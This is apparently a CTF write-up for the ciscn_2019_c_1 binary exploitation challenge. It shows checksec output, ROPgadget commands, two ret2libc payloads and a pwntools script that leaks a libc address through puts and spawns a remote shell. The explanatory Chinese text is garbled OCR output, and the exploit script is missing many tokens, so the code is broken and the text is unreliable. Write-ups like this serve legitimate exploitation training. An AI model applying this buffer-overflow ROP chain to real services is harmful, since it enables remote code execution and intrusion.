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checksec ./cisscn_2019_c_1
amd64-64-1ittle
Partial RELRO

No canary found
NX enabled
No PIE (0x400000)
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it 45 5 LI 52 A A7 o libet bk

A3 Aelftffigadgets:
ROPgadget --binary ./ciscn_2019 c_1 --only "pop|ret"
ROPgadget --binary ./ciscn_2019 c_1 --only "ret"

Fyit i 55 45 B ¥ payload:

e MespiglA pop rdi;ret I, riptg[Aputs_got.

o XEMArip HEE Zputs_gotT R B I put () BREAAFHLAE . EREBARI TN T — 2 put() IS (ERFEHITH L)
Fr, fth T put() RECE I AR 55 A% K LA AR Rt

o i JE bR PR [ 2 TF 4R L4k 2L R
payloadl = 'A'*(88) + p64(pop_rdi_addr) + p64(put_got) + p64(put_plt) + p64(_start)
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o M TABARLIE libc.so.6 MIKA, Ml = R LibcSearcher .

o R ¥E R HUUR FH I FE i i payload::
payload2 = 'A'*(88) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)

5E#exp



from pwn import

from LibcSearcher import
context.log level

io remote ( ,25109)
gamebox ELF( )

pop_rdi_ret 0Xx0000000000400c83

puts plt gamebox.plt[ ]

puts_got gamebox.got[ ]

start_addr = gamebox.symbols[ ]
(88) p64(pop_rdi_ret)

p64(puts_got) p64(puts _plt) p64(start_addr)

io.sendlineafter( P )

io.sendlineafter(

ub4(io.recvline()[:-1].1just(8,

LibcSearcher( ,puts_leak)
libc_offset puts_leak libc.dump(
sys_addr = libc_offset + libc.dump(
bin_sh_addr libc_offset libc.dump(

ret 0x00000000004006b9
(88) p64(ret)
p64(pop_rdi_ret) p64(bin_sh_addr)
)
io.sendlineafter(

io.interactive()

,payloadl)

p64(sys_addr)

,payload2)
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